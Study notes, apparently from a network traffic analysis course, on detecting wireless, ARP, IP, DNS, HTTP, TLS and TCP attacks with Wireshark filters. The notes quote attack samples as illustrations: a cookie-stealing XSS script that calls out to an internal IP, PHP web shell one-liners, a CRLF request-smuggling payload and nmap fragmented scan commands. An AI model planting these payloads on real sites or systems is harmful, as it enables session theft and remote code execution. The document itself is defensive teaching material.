Open deauthandbadauth.cap in Wireshark to inspect traffic from the AP’s BSSID:
- Wireshark Filter (for AP’s BSSID):
wlan.bssid == xx:xx:xx:xx:xx:xx - Filter for Deauthentication Frames:
(wlan.bssid == xx:xx:xx:xx:xx:xx) and (wlan.fc.type == 00) and (wlan.fc.type_subtype == 12)
If excessive deauthentication frames appear, this suggests an attack. Reason Code 7 is often used by common attack tools. To filter for this:
(wlan.bssid == F8:14:FE:4D:E6:F1) and (wlan.fc.type == 00) and (wlan.fc.type_subtype == 12) and (wlan.fixed.reason_code == 7)
Revolving Reason Codes
Sophisticated attackers may vary reason codes to avoid detection:
- Filter for Reason Code 1:
(wlan.bssid == F8:14:FE:4D:E6:F1) and (wlan.fc.type == 00) and (wlan.fc.type_subtype == 12) and (wlan.fixed.reason_code == 1) - Filter for Reason Code 2:
(wlan.bssid == F8:14:FE:4D:E6:F1) and (wlan.fc.type == 00) and (wlan.fc.type_subtype == 12) and (wlan.fixed.reason_code == 2)
Compensating Measures
To prevent deauthentication attacks:
- Enable IEEE 802.11w (Management Frame Protection)
- Use WPA3-SAE
- Update WIDS/WIPS detection rules
Detecting Failed Authentication Attempts
Excessive association requests can indicate an attack. Filter in Wireshark to capture these:
(wlan.bssid == F8:14:FE:4D:E6:F1) and (wlan.fc.type == 00) and (wlan.fc.type_subtype == 0) or (wlan.fc.type_subtype == 1) or (wlan.fc.type_subtype == 11)
ARP Scanning & Denial-of-Service
We might discern additional aberrant behaviors within the ARP requests and replies. Poisoning and spoofing are central to ARP-based denial-of-service (DoS) and man-in-the-middle (MITM) attacks, but adversaries could also leverage ARP for information gathering. Thankfully, we possess the skills to detect and evaluate these tactics following similar procedures.
ARP Scanning Signs
Typical red flags indicating ARP scanning include:
- Broadcast ARP requests sent to sequential IP addresses (.1, .2, .3, …)
- Broadcast ARP requests sent to non-existent hosts
- Unusual volume of ARP traffic from a potentially malicious or compromised host
Finding ARP Scanning
By opening ARP_Scan.pcapng in Wireshark and applying the filter arp.opcode, we might observe:
- ARP Scanning: ARP requests propagated by a single host to all IPs sequentially, symptomatic of ARP scanning (common in scanners like Nmap).
- Active Hosts Respond: Detected ARP replies from live hosts indicate successful information gathering by the attacker.
Identifying Denial-of-Service
Attackers may:
- Use ARP scanning to identify live hosts.
- Transition to a DoS attack, contaminating the subnet by manipulating as many ARP caches as possible, or establishing a MITM position.
ARP DoS Tactics
- Corrupt Router’s ARP Cache: Attack traffic focuses on declaring new physical addresses for all live IPs.
- Duplicate IP Allocations: The attacker assigns 192.168.10.1 to multiple clients, aiming to disrupt communication by corrupting ARP caches and obstructing traffic.
Responding to ARP Attacks
Upon identifying ARP anomalies, the following steps can be taken:
- Tracing and Identification: Locating the physical machine behind the attack can halt its activities. In some cases, the attacking machine may itself be compromised.
- Containment: Disconnect or isolate the affected area at the switch or router level to stop further data exfiltration, effectively terminating DoS or MITM attacks.
Note: Link layer attacks may initially seem minor but detecting them can prevent data exfiltration from higher OSI layers.
ARP Spoofing & Abnormality Detection
Overview
- The Address Resolution Protocol (ARP) is frequently targeted for attacks like MITM and DoS.
- ARP attacks often use broadcast communication, aiding in detectability via packet sniffing.
How Address Resolution Protocol Works
- ARP Basics: Hosts need the MAC address to send data, obtained through ARP requests.
- Process Steps:
- Host A checks ARP cache or broadcasts an ARP request if the IP isn’t found.
- Host B replies with its IP-MAC mapping, updating Host A’s ARP cache.
ARP Poisoning & Spoofing
- ARP Cache Poisoning: Attackers send false ARP messages to corrupt caches, redirecting traffic.
- Attack Steps:
- Attacker sends forged ARP messages to the victim and router, altering their ARP tables.
- If the attacker forwards traffic, they intercept and modify data, enabling MITM attacks.
- Attack Steps:
Detection & Prevention
- Detection Techniques:
- Monitor for unusual ARP traffic patterns (e.g., repetitive ARP requests).
- Track IP-MAC inconsistencies to spot potential spoofing.
- Prevention Controls:
- Static ARP Entries: Prevents ARP cache poisoning, though it increases maintenance.
- Port Security on Switches/Routers: Blocks unauthorized devices attempting spoofing.
Practical Detection Steps Using tcpdump and Wireshark
- Install tcpdump (if not present):
sudo apt install tcpdump -y - Capture ARP Traffic:
sudo tcpdump -i eth0 -w filename.pcapng - Analyze with Wireshark:
wireshark ARP_Spoof.pcapng- Wireshark Filters:
- Filter ARP Requests:
arp.opcode == 1 - Filter ARP Replies:
arp.opcode == 2 - Detect Duplicates:
arp.duplicate-address-detected && arp.opcode == 2
- Examine IP-MAC Anomalies:
- Use
arp -aon Linux to check IP-MAC mappings:arp -a | grep 50:eb:f6:ec:0e:7f arp -a | grep 08:00:27:53:0c:ba
- Use
- Filter in Wireshark:
- Track suspicious MAC interactions:
eth.addr == 50:eb:f6:ec:0e:7f or eth.addr == 08:00:27:53:0c:ba
- Track suspicious MAC interactions:
Cross-Site Scripting (XSS) & Code Injection Detection
While inspecting HTTP requests, an unusual volume of requests directed to an unknown internal “server” may indicate potential XSS activity. For example, in some cases, this behavior could involve cookies or tokens being exfiltrated, although these values may be encoded or encrypted during transit.
Cross-Site Scripting (XSS)
XSS occurs when an attacker injects malicious JavaScript or script code into a webpage, typically through user input fields. When other users load the page, their browsers execute this code, allowing attackers to steal sensitive information like cookies, tokens, and session values.
Example of XSS Payload
In an XSS attack, injected code might resemble the following script in a user comment section:
<script>
window.addEventListener("load", function() {
const url = "<http://192.168.0.19:5555>";
const params = "cookie=" + encodeURIComponent(document.cookie);
const request = new XMLHttpRequest();
request.open("GET", url + "?" + params);
request.send();
});
</script>
If detected, remove the injected script immediately, and consider temporarily taking down the server to resolve the vulnerability.
Code Injection
Attackers may also attempt to inject malicious code into fields that interpret PHP or other executable code. This tactic allows them to gain command and control over the server.
Examples of PHP Code Injection
- Command Execution with PHP:
<?php system($_GET['cmd']); ?> - Single Command Execution:
<?php echo `whoami`; ?>
If detected, these code snippets should be removed immediately, and steps taken to prevent further injections.
Preventing XSS and Code Injection
To prevent XSS and code injection attacks:
- Sanitize User Input: Filter and sanitize all inputs to disallow harmful scripts or commands.
- Avoid Executing User Input as Code: Never process or interpret user-provided input as executable code, which could enable code execution vulnerabilities.
Fragmentation Attacks
When analyzing network traffic, the IP layer is crucial for understanding packet transfers between hosts. This layer, however, lacks mechanisms to detect lost or tampered packets—these issues are managed by the transport or application layers. Key fields in the IP header include:
- Length: The IP header length
- Total Length: Entire IP packet length, including data
- Fragment Offset: Set when packets are fragmented, guiding reassembly at the destination
- Source and Destination IP Addresses: Identifying origin and target hosts
Commonly Abused Fields in Fragmentation
Attackers may manipulate these fields to evade network controls. Understanding the misuse of these fields can enhance detection during traffic analysis.
Fragmentation Abuse Techniques
Legitimate hosts fragment packets to transfer large data sets, following a maximum transmission unit (MTU) standard. Attackers abuse fragmentation to:
- IPS/IDS Evasion: If IDS doesn’t reassemble fragments, attackers can use fragmented scans (e.g., with
nmap) to bypass detection. - Firewall Evasion: Fragmented packets can bypass firewall controls if not reassembled before delivery.
- Firewall/IPS/IDS Resource Exhaustion: Small MTU sizes (e.g., 10, 15 bytes) strain resources, possibly bypassing reassembly due to resource limits.
- Denial of Service: Old hosts can be overwhelmed by large fragmented packets, causing denial-of-service.
A correctly configured network mechanism should use delayed reassembly—waiting for all fragments to reassemble and then performing packet inspection.
Detecting Fragment Offset Irregularities
To inspect fragmentation anomalies, open the capture file in Wireshark:
wireshark nmap_frag_fw_bypass.pcapng
Indicators of Fragmented Scans
- ICMP Requests: Nmap or similar scans often start with ICMP requests for host discovery.
nmap <host ip> - Fragmented Packets with Specified MTU: Attackers set a specific MTU to fragment packets.
nmap -f 10 <host ip>- Packets with repeated fragmentation from a host indicate a possible fragmentation attack.
- One Host, Multiple Ports Pattern: Fragmented scans generate responses with RST flags for closed ports, indicating scans across many ports.
Configuring Wireshark for Reassembly
If Wireshark isn’t reassembling packets automatically, adjust settings under Preferences for the IPv4 protocol to ensure packet reassembly, facilitating more accurate inspection.
HTTP & HTTPs Service Enumeration
Often, unusual HTTP/HTTPS traffic patterns indicate potential attacks on web servers. Attackers may exploit transport layer vulnerabilities to gather information, explore, or exploit web applications.
Detecting Fuzzing Attempts
Fuzzing attempts can be identified through:
- Excessive HTTP/HTTPS traffic from a single host.
- Checking web server access logs for repetitive or unusual access attempts.
Attackers often initiate fuzzing to discover server details before an attack. Web Application Firewalls (WAFs) may block such activity, though internal servers may be more vulnerable.
Finding Directory Fuzzing
Directory fuzzing allows attackers to probe for web pages and directories. This can be detected in traffic analysis by filtering for http traffic in Wireshark.
- Basic Filter:
http - Isolating Requests: To exclude server responses, specify
http.request.
Indicators of Directory Fuzzing
- Repeated 404 Responses: Frequent attempts to access non-existent files.
- Rapid Request Sequences: Multiple requests sent quickly.
Checking Access Logs
On an Apache server, use the following commands to filter logs by IP address.
- Using
grep:cat access.log | grep "192.168.10.5" - Using
awk:cat access.log | awk '$1 == "192.168.10.5"'
Example log entries:
192.168.10.5 - - [18/Jul/2023:12:58:07 -0600] "GET /randomfile1 HTTP/1.1" 404 435 "-" "Mozilla/4.0"
192.168.10.5 - - [18/Jul/2023:12:58:07 -0600] "GET /.bash_history HTTP/1.1" 404 435 "-" "Mozilla/4.0"
...
Detecting Other Fuzzing Techniques
Attackers may target dynamic or static webpage elements, like id fields, or test for IDOR vulnerabilities, especially with JSON parsing.
- Filtering Specific Hosts:
http.request and ((ip.src_host == <suspected IP>) or (ip.dst_host == <suspected IP>))
To examine the entire request sequence:
- Right-click any request and select Follow > HTTP Stream in Wireshark.
Indicators of Fuzzing Attempts:
- Rapid request patterns suggest fuzzing.
- Advanced attackers may stagger requests over time or distribute them across multiple IPs to evade detection.
Preventing Fuzzing Attempts
To counteract fuzzing:
- Adjust Server Configurations: Configure
virtualhostor access settings to return correct response codes. - Use WAF Rules: Block specific IPs or patterns of suspicious behavior to protect the server.
ICMP Tunneling
Tunneling is a method used by attackers to exfiltrate data from one system to another. Different protocols are used for tunneling, often exploiting proxies or trusted protocols allowed by network controls.
Basics of Tunneling
When attackers need to send data to an external host, they may employ tunneling, often establishing command and control over a compromised machine. Tunneling can occur over protocols like SSH, HTTP, HTTPS, DNS, and ICMP, each enabling attackers to bypass network security measures.
ICMP Tunneling
In ICMP tunneling, attackers embed data into the data field of ICMP requests to conceal it within normal network traffic.
Detecting ICMP Tunneling
Since ICMP tunneling involves placing data in the ICMP data field, it can be detected by examining data sizes in ICMP requests and replies.
- ICMP Filter: Use the ICMP filter in Wireshark to view ICMP-specific traffic.
- Detecting Large Data Transfers: Fragmented ICMP traffic or unusually large data fields (e.g., over 48 bytes) may indicate tunneling. Normal ICMP requests have smaller data fields, typically around 48 bytes, whereas tunneling traffic can show lengths up to 38,000 bytes.
- Inspecting Data Contents: In Wireshark, examine the data field in ICMP requests for sensitive information (e.g., usernames and passwords). This is a direct sign of ICMP tunneling.
- Encoded Data: Advanced attackers may encode or encrypt exfiltrated data within ICMP packets. Detecting encoded data might require manual decoding, as shown:
echo 'VGhpcyBpcyBhIHNlY3VyZSBrZXk6IEtleTEyMzQ1Njc4OQo=' | base64 -d
If ICMP data lengths exceed typical sizes (e.g., 48 bytes), further analysis is warranted.
Preventing ICMP Tunneling
- Block ICMP Requests: Disabling ICMP can prevent tunneling, though it may affect legitimate network diagnostics.
- Inspect ICMP Requests and Replies: By monitoring and analyzing ICMP traffic, especially data fields, suspicious tunneling activity can be detected and mitigated.
IP Source & Destination Spoofing Attacks
There are cases where irregular IPv4 and IPv6 traffic might arise from manipulation of source and destination IP fields. Key points to consider in traffic analysis include:
- Source IP for Incoming Traffic: Should always be from within our subnet. An external source IP suggests possible packet crafting.
- Source IP for Outgoing Traffic: Should also be within our subnet. An unusual IP range may indicate malicious traffic from within the network.
Attack Methods Involving IP Spoofing
Attackers may craft source and destination IP fields for various purposes:
- Decoy Scanning: Changes source IP to bypass firewall restrictions, posing as a host in the target’s subnet to evade detection.
- Random Source Attack (DDoS): Sends high volumes of traffic from randomized source IPs to exhaust resources on the destination host.
- LAND Attacks: Spoofs the source IP to match the destination, causing resource exhaustion or crashes on the target host.
- SMURF Attacks: Sends ICMP packets to multiple hosts with the victim’s IP as the source, flooding the victim with replies.
- Initialization Vector Generation: In older WEP networks, repeated packet injection with crafted IPs can build decryption tables for statistical attacks.
These attacks typically derive from IP layer manipulation, rather than ARP poisoning, though both methods are often combined.
Detecting Decoy Scanning Attempts
An attacker may alter their source IP to mimic a legitimate host, aiming to bypass IDS/Firewall controls. Indicators of decoy scanning include:
- Initial Fragmentation from a spoofed address
- TCP Traffic from the legitimate source address with RST flags for closed ports
Detection techniques:
- Packet Reassembly: Ensure IDS/IPS/Firewall systems can reconstruct packets, mimicking destination host behavior.
- Connection Consistency: Watch for connections initiated by one host and completed by another, indicating address cloaking.
Detecting Random Source Attacks
Random source attacks can target a specific service by flooding it with traffic from varied source addresses. Indicators include:
- Single Port Utilization: Traffic from multiple random hosts targeting a single port.
- Incremental Base Port: Consistent base ports with minimal randomization.
- Identical Length Fields: In contrast to legitimate user traffic, crafted packets may have uniform lengths.
Detecting SMURF Attacks
SMURF attacks leverage ICMP packets with the victim’s IP as the source, prompting responses that overwhelm the victim. Attack steps:
- ICMP Request to live hosts with the victim’s IP as the source.
- ICMP Reply from live hosts to the victim, exhausting its resources.
Detection: Excessive ICMP replies to a single host. Attackers may add fragmentation or extra data to amplify the attack volume.
Detecting LAND Attacks
LAND attacks spoof the source IP to match the destination IP, using high traffic volume and port re-use to disrupt service. This congestion makes genuine connections difficult to establish with the targeted host.
IP Time-to-Live Attacks.
Time-to-Live (TTL) attacks are used by attackers as an evasion technique. By setting a low TTL, attackers aim to bypass firewall, IDS, and IPS detection. This process works as follows:
TTL Manipulation
- Crafting Low TTL Packets: Attackers set a low TTL (e.g., 1, 2, 3).
- TTL Decrement: As packets traverse each hop, the TTL decreases by one.
- Packet Discard: When TTL reaches zero, the packet is discarded, ideally before reaching a firewall or filter.
- ICMP Response: Expired packets trigger ICMP Time Exceeded messages from routers along the path, sent back to the source.
Detecting IP TTL Irregularities
To detect TTL manipulation, capture and analyze traffic in Wireshark. While single instances are hard to spot, attackers often use TTL manipulation during port scans, generating noticeable patterns.
Indicators in TTL Manipulation
- SYN, ACK from Service Ports: A legitimate SYN, ACK response from a host’s service port may indicate a bypassed firewall.
- Low TTL Values: Opening the IPv4 tab in Wireshark for suspicious packets may reveal unusually low TTL values.
Mitigation Strategy
Implement a control that filters or discards packets with TTLs below a threshold. This helps prevent IP packet crafting attacks that exploit TTL manipulation.
Peculiar DNS Traffic.
DNS traffic analysis can be challenging due to its high volume, but identifying abnormalities is crucial for detecting malicious activity.
DNS Queries
DNS queries allow clients to resolve domain names to IP addresses and vice versa.
DNS Forward Queries
In a forward lookup, the client resolves a domain name to an IP address, following these steps:
- Query Initiation: Client queries domain, e.g.,
academy.hackthebox.com. - Local Cache Check: Checks local DNS cache; if unresolved, continues.
- Recursive Query: Sends query to the configured DNS server.
- Root Servers: DNS resolver queries root servers if necessary.
- TLD Servers: Root server directs to TLD servers (e.g.,
.com). - Authoritative Servers: TLD server points to domain’s authoritative server.
- Domain’s Authoritative Servers: The resolver obtains the IP address.
- Response: The IP address is sent back to the client.
DNS Reverse Lookups/Queries
Reverse lookups are used to find a domain name from an IP address:
- Query Initiation: Client sends a DNS reverse query with the IP.
- Reverse Lookup Zones: DNS resolver checks if it is authoritative.
- PTR Record Query: Resolver searches for a PTR record.
- Response: The FQDN is returned if a matching PTR is found.
DNS Record Types
| Record Type | Description |
|---|---|
| A | Maps a domain name to an IPv4 address |
| AAAA | Maps a domain name to an IPv6 address |
| CNAME | Creates an alias for a domain |
| MX | Specifies mail server for the domain |
| NS | Authoritative name servers for the domain |
| PTR | Used in reverse queries to map IP to a domain |
| TXT | Specifies text associated with the domain |
| SOA | Administrative information about the zone |
Detecting DNS Enumeration Attempts
A high volume of DNS queries from a single host may suggest DNS enumeration. Using Wireshark, filter DNS traffic as follows:
dns
If queries include ANY, this could indicate DNS enumeration, or even subdomain enumeration.
Finding DNS Tunneling
DNS tunneling can involve a significant number of TXT records from one host. Attackers may exfiltrate data by appending it to the TXT field of DNS queries.
Example of DNS Tunneling Indicators
Examine DNS traffic for unusual or unexpected text in the TXT field. Encoded or encrypted data may appear, often as base64:
- Extracting Base64 Encoded Data:
echo 'VTBaU1EyVXhaSFprVjNocldETnNkbVJXT1cxaU0wb3pXVmhLYTFneU1XeFlNMUp2WVZoT1ptTklTbXhrU0ZJMVdETkNjMXBYUm5wYQpXREJMQ2c9PQo=' | base64 -d - Handling Multi-Level Encoding:
echo 'encoded_string' | base64 -d | base64 -d | base64 -dSome attackers may encode data multiple times or encrypt it, making detection harder.
Reasons for DNS Tunneling
- Data Exfiltration: Used to covertly export data from a network.
- Command and Control: Enables compromised systems to communicate with attacker-controlled servers, often used in botnets.
- Firewall Bypassing: DNS tunnels can bypass firewalls or proxies focused on HTTP/HTTPS.
- Domain Generation Algorithms (DGAs): Advanced malware uses DGAs to generate dynamic domain names, complicating detection.
The Interplanetary File System and DNS Tunneling
Advanced threat actors may use IPFS to store and retrieve malicious files, making DNS/HTTP traffic to URIs like the following noteworthy:
- IPFS Example URI:
<https://cloudflare-ipfs.com/ipfs/QmS6eyoGjENZTMxM7UdqBk6Z3U3TZPAVeJXdgp9VK4o1Sz>
IPFS operates on a peer-to-peer basis, complicating detection. Regular monitoring of DNS and HTTP/HTTPS traffic is essential to mitigate these attacks.
Rogue Access Point & Evil-Twin Attacks
Rogue Access Point (AP)
A rogue AP is an unauthorized device connected directly to the network, potentially bypassing perimeter controls. These APs may:
- Circumvent network segmentation
- Provide unauthorized access to restricted sections of a network
- Occasionally, infiltrate air-gapped networks
Evil-Twin
An evil-twin AP is usually a standalone access point, separate from the network, often used by attackers to intercept data via man-in-the-middle (MITM) attacks. Such APs:
- Are commonly set up to capture wireless credentials and other sensitive information
- Might host hostile portals to lure users into disclosing credentials
Detection with Airodump-ng
We can utilize airodump-ng with an ESSID filter to detect Evil-Twin APs:
sudo airodump-ng -c 4 --essid HTB-Wireless wlan0 -w raw
Example output:
CH 4 ][ Elapsed: 1 min ][ 2023-07-13 16:06
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F8:14:FE:4D:E6:F2 -7 100 470 155 0 4 54 OPN HTB-Wireless
F8:14:FE:4D:E6:F1 -5 96 682 0 0 4 324 WPA2 CCMP PSK HTB-Wireless
The example shows an attacker-created open AP with an identical ESSID to our legitimate AP, suggesting a hostile portal attack.
Beacon Analysis for Evil-Twin Detection
To confirm anomalies, examine beacon frames with this Wireshark filter:
(wlan.fc.type == 00) and (wlan.fc.type_subtype == 8)
Beacon Analysis:
- RSN Information: The legitimate AP’s RSN info may indicate WPA2 with AES/TKIP and PSK. In contrast, a malicious AP might lack RSN information.
- Additional Fields: For sophisticated attacks, check vendor-specific info and other unique identifiers that might be missing in the attacker’s AP.
Identifying Compromised Users
In cases of open-network evil-twin attacks:
- Use the following Wireshark filter to isolate traffic for the suspicious AP:
(wlan.bssid == F8:14:FE:4D:E6:F2)
Detecting ARP requests from a client device on this network could indicate a potential compromise. Record:
- Client device’s MAC address
- Host name
Take responsive actions like password resets to mitigate risk.
Detecting Rogue Access Points
Rogue AP detection often involves network device monitoring. Look for:
- Unrecognized networks with strong signals, especially open networks
- Potential hotspots in close proximity (e.g., Windows hotspots)
Unfamiliar networks without encryption may indicate rogue access points set up to bypass network security.
SSL Renegotiation Attacks
While analyzing encrypted HTTPS traffic, it’s essential to understand HTTPS protocol indicators that may reveal SSL/TLS-based attacks. HTTPS relies on encryption protocols, specifically:
- Transport Layer Security (TLS)
- Secure Sockets Layer (SSL)
HTTPS Connection Process
- Handshake: Server and client establish a connection, agreeing on encryption algorithms and exchanging certificates.
- Encryption: Following the handshake, the connection is encrypted with the selected algorithm.
- Data Exchange: Encrypted data (web pages, images, etc.) is exchanged between client and server.
- Decryption: Both sides decrypt data using their private and public keys.
SSL Renegotiation Attack
SSL renegotiation attacks attempt to negotiate lower encryption standards or exploit server resources, causing potential vulnerabilities. Another example of HTTPS encryption attacks includes the Heartbleed Vulnerability (CVE-2014-0160).
TLS and SSL Handshake Process
To secure a connection, a TLS or SSL handshake is required, involving:
- Client Hello: Client sends supported TLS/SSL versions, cipher suites, and random data.
- Server Hello: Server responds with its chosen version, cipher suite, and a nonce.
- Certificate Exchange: Server sends its certificate containing the public key.
- Key Exchange: Client generates a premaster secret, encrypts it with the server’s public key, and sends it to the server.
- Session Key Derivation: Both parties derive session keys using exchanged nonces and the premaster secret.
- Finished Messages: Both parties exchange finished messages, confirming successful handshake.
- Secure Data Exchange: The encrypted communication begins.
TLS Handshake Algorithmic Breakdown
| Handshake Step | Relevant Calculations |
|---|---|
| Client Hello | ClientHello = { ClientVersion, ClientRandom, Ciphersuites, CompressionMethods } |
| Server Hello | ServerHello = { ServerVersion, ServerRandom, Ciphersuite, CompressionMethod } |
| Certificate Exchange | ServerCertificate = { ServerPublicCertificate } |
| Key Exchange | ClientDHPublicKey = DH_KeyGeneration(ClientDHPrivateKey)ServerDHPublicKey = DH_KeyGeneration(ServerDHPrivateKey) |
| Premaster Secret | PremasterSecret = DH_KeyAgreement(ServerDHPublicKey, ClientDHPrivateKey) |
| Session Key Derivation | MasterSecret = PRF(PremasterSecret, "master secret", ClientNonce + ServerNonce) |
| Extraction of Session Keys | ClientWriteMACKey, ServerWriteMACKey, ClientWriteKey, ServerWriteKey, ClientWriteIV, ServerWriteIV |
| Finished Messages | FinishedMessage = PRF(MasterSecret, "finished", Hash(ClientHello + ServerHello)) |
Detecting SSL Renegotiation Attacks
- Filter for Handshake Messages: In Wireshark, use the following filter to view only handshake messages:
ssl.record.content_type == 22 - Indicators of SSL Renegotiation Attacks:
- Multiple Client Hellos: Repeated Client Hello messages from a single client in a short timeframe signal an attack, as the attacker repeatedly triggers renegotiation to downgrade the cipher suite.
- Out of Order Handshake Messages: Observing Client Hello messages after the handshake completion can indicate manipulation or attack.
Reasons for SSL Renegotiation Attacks
- Denial of Service: Excessive renegotiation consumes server resources, potentially making it unresponsive.
- Cipher Suite Exploitation: Attackers may attempt renegotiation to exploit weak encryption configurations.
- Cryptanalysis: Renegotiation can facilitate cryptanalysis by helping attackers analyze SSL/TLS patterns, possibly exposing vulnerabilities.
Strange HTTP Headers
In analyzing web server traffic, the absence of obvious signs like fuzzing doesn’t guarantee security. Closer inspection, particularly of unusual HTTP headers, can reveal suspicious activity. Common anomalies include:
- Weird Host Headers
- Unusual HTTP Verbs
- Modified User Agents
Finding Strange Host Headers
- Filter for HTTP Traffic: Start by limiting traffic in Wireshark to HTTP requests and responses:
http - Isolate Irregular Host Headers: Specify the legitimate server IP to exclude normal traffic. For an external server, substitute with the domain name:
http.request and (!(http.host == "192.168.10.7"))
Indicators of Malicious Host Headers
If results appear, examine them for host headers such as 127.0.0.1 or unusual hostnames like admin. Attackers often manipulate host headers to escalate privileges using proxy tools like Burp Suite.
Preventative Measures:
- Verify virtualhost and access configurations to prevent unauthorized access.
- Keep the web server updated.
Analyzing Code 400s and Detecting Request Smuggling
Error code 400 (Bad Request) can indicate suspicious activity and is useful in identifying malicious HTTP actions.
- Filter for Code 400 Responses:
http.response.code == 400
By following these HTTP streams, you may uncover attempts at request smuggling, also known as CRLF (Carriage Return Line Feed) Injection.
Example CRLF Attempt
An attacker might craft a request like:
GET%20%2flogin.php%3fid%3d1%20HTTP%2f1.1%0d%0aHost%3a%20192.168.10.5%0d%0a%0d%0aGET%20%2fuploads%2fcmd2.php%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%3a8080%0d%0a%0d%0a%20HTTP%2f1.1 Host: 192.168.10.5
Decoded by the server:
GET /login.php?id=1 HTTP/1.1
Host: 192.168.10.5
GET /uploads/cmd2.php HTTP/1.1
Host: 127.0.0.1:8080
HTTP/1.1
Host: 192.168.10.5
If vulnerable, both requests succeed, allowing unauthorized access. This often results from Apache configurations like:
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "<http://192.168.10.100:8080/categories.php?id=$1>" [P]
ProxyPassReverse "/categories/" "<http://192.168.10.100:8080/>"
</VirtualHost>
This type of misconfiguration can leave servers susceptible to CVE-2023-25690, enabling request smuggling.
Monitoring for Successful Exploits
Detecting a 200 (Success) status code in response to one of these requests confirms an exploit attempt. Regular monitoring of code 400 and code 200 responses is essential in traffic analysis to identify and mitigate adversarial actions.
Strange Telnet & UDP Connections
While analyzing network traffic, Telnet and UDP traffic can sometimes reveal suspicious or anomalous activities that might otherwise be overlooked.
Telnet
Telnet, a protocol for bidirectional interactive communication, is generally outdated due to security concerns and is commonly replaced by SSH. However, legacy systems (e.g., older Windows NT machines) may still rely on Telnet for remote command control, making it worth monitoring for any unusual connections.
Detecting Traditional Telnet Traffic on Port 23
When observing traffic on Port 23 (Telnet’s default port) in Wireshark, examine communications closely for signs of misuse. Although Telnet traffic is unencrypted and straightforward to inspect, attackers may encrypt or obfuscate data in Telnet traffic, making it necessary to approach with caution.
Unrecognized Telnet Traffic on Non-Standard Ports
Telnet can operate on any port, and attackers may shift Telnet communications to non-standard ports. For example, communications on Port 9999 might indicate an attempt to obscure malicious activity. In this case, follow the TCP stream to investigate further.
Telnet Protocol through IPv6
If IPv6 Telnet traffic is detected in an IPv4-configured network, this could indicate unauthorized access. To filter IPv6 Telnet traffic in Wireshark, use:
((ipv6.src_host == fe80::c9c8:ed3:1b10:f10b) or (ipv6.dst_host == fe80::c9c8:ed3:1b10:f10b)) and telnet
This filter helps isolate Telnet traffic on specific IPv6 addresses for in-depth inspection.
Monitoring UDP Communications
Attackers may use UDP to bypass typical TCP-based monitoring, as UDP’s connectionless, fast-transmission nature can be advantageous for covert data exfiltration.
TCP vs. UDP
UDP, unlike TCP, is connectionless, meaning no SYN, SYN/ACK, ACK handshake is required before transmission. This difference allows for faster communication, but also reduces reliability and accountability in tracking connections.
Common Uses of UDP
While investigating UDP traffic, consider these legitimate use cases:
- Real-time Applications: Streaming media, gaming, and real-time voice/video rely on UDP for faster connections.
- DNS (Domain Name System): DNS queries and responses primarily use UDP.
- DHCP (Dynamic Host Configuration Protocol): UDP is used for assigning IP addresses and network configurations.
- SNMP (Simple Network Management Protocol): UDP supports network monitoring and management.
- TFTP (Trivial File Transfer Protocol): TFTP, used for basic file transfers, particularly in older systems, also uses UDP.
For unusual UDP traffic, follow the stream in Wireshark to inspect its contents and verify legitimacy.
TCP Connection Resets & Hijacking
TCP inherently lacks protection mechanisms to prevent attackers from terminating or hijacking connections. This vulnerability can manifest as connection termination via RST packets or through more advanced connection hijacking techniques.
TCP Connection Termination
In a TCP RST packet injection attack (also known as TCP connection termination), an attacker aims to disrupt network service. This attack involves:
- Source Spoofing: The attacker spoofs the source address to match that of the target machine.
- RST Flag Injection: The TCP packet is crafted with the RST flag to terminate the connection.
- Targeted Destination Port: The attacker specifies a destination port in active use by the target machine.
Detecting TCP RST Attacks
- High Packet Volume: An unusual number of packets directed at a single port may indicate an RST attack.
- MAC Address Discrepancy: If packets with a spoofed IP (e.g., 192.168.10.4) show an unexpected MAC address not matching the registered one (e.g.,
aa:aa:aa:aa:aa:aa), this suggests malicious activity.
While MAC spoofing is possible, retransmissions or other inconsistencies may also arise, as seen in ARP poisoning scenarios.
TCP Connection Hijacking
In more sophisticated attacks, TCP connection hijacking allows attackers to monitor and control an active session. This attack involves:
- Sequence Number Prediction: The attacker predicts sequence numbers to inject packets into the correct position within the target connection.
- Source Spoofing: Similar to RST attacks, the attacker spoofs the source IP to impersonate the target machine.
- Blocking ACKs: To maintain the hijacked connection, the attacker blocks or delays ACK packets from reaching the target. This is commonly done via ARP poisoning.
Indicators of TCP Hijacking
- Sequence Anomalies: Inconsistent or unusual sequence numbers may indicate sequence prediction attempts.
- Blocked or Delayed ACKs: ACK delays or absences can hint at attempts to hijack the session.
TCP connection hijacking often pairs with ARP poisoning, which may produce observable traffic anomalies.
TCP Handshake Abnormalities
When attackers probe TCP services, certain behaviors might deviate from normal traffic patterns. To understand these anomalies, let’s first review the standard TCP 3-way handshake.
TCP Handshake
- SYN Request: The client sends a TCP SYN request to initiate a connection.
- SYN-ACK Response: If the port is open, the server responds with a SYN-ACK, indicating an open connection.
- Flags: Various TCP flags signal specific actions or statuses during a connection.
| Flag | Description |
|---|---|
| URG | Urgent data stream |
| ACK | Acknowledges data receipt |
| PSH | Pushes data to application layer immediately |
| RST | Terminates the connection |
| SYN | Initiates a TCP connection |
| FIN | Ends a TCP connection |
| ECN | Notifies congestion |
Indicators of Abnormal TCP Handshake Patterns
- Excessive Flags: Multiple flags or repeated flags can indicate scanning.
- Unusual Flags: Irregular flag combinations may signal TCP RST attacks, hijacking attempts, or evasion tactics.
- Single Host Targeting Multiple Ports or Hosts: Scans often originate from one host targeting multiple ports or hosts. Decoy scans and random source attacks are also possible.
Types of TCP Scans
Excessive SYN Flags
One common scan type is SYN scanning, where attackers send SYN packets to target ports. Responses:
- SYN Scan: The attacker preemptively ends the handshake with an RST flag.
- SYN Stealth Scan: The attacker only partially completes the handshake to evade detection.
No Flags (NULL Scan)
NULL scans use TCP packets with no flags, producing the following responses:
- Open Port: No response from the system.
- Closed Port: The system replies with an RST packet.
Excessive ACK Flags
ACK scans use repeated ACK flags. Responses:
- Open Port: No response or an RST packet.
- Closed Port: Responds with an RST packet.
Excessive FIN Flags
In FIN scans, all packets are marked with the FIN flag. Responses:
- Open Port: No response from the system.
- Closed Port: The system replies with an RST packet.
Xmas Tree Scan (All Flags Set)
Xmas tree scans involve setting all TCP flags. Responses:
- Open Port: Either no response or an RST packet.
- Closed Port: Responds with an RST packet.
Xmas tree scans are distinct and straightforward to identify due to the presence of all flags.
8. Introduction To IDS & IPS
Intrusion Detection With Zeek
Intrusion Detection Examples
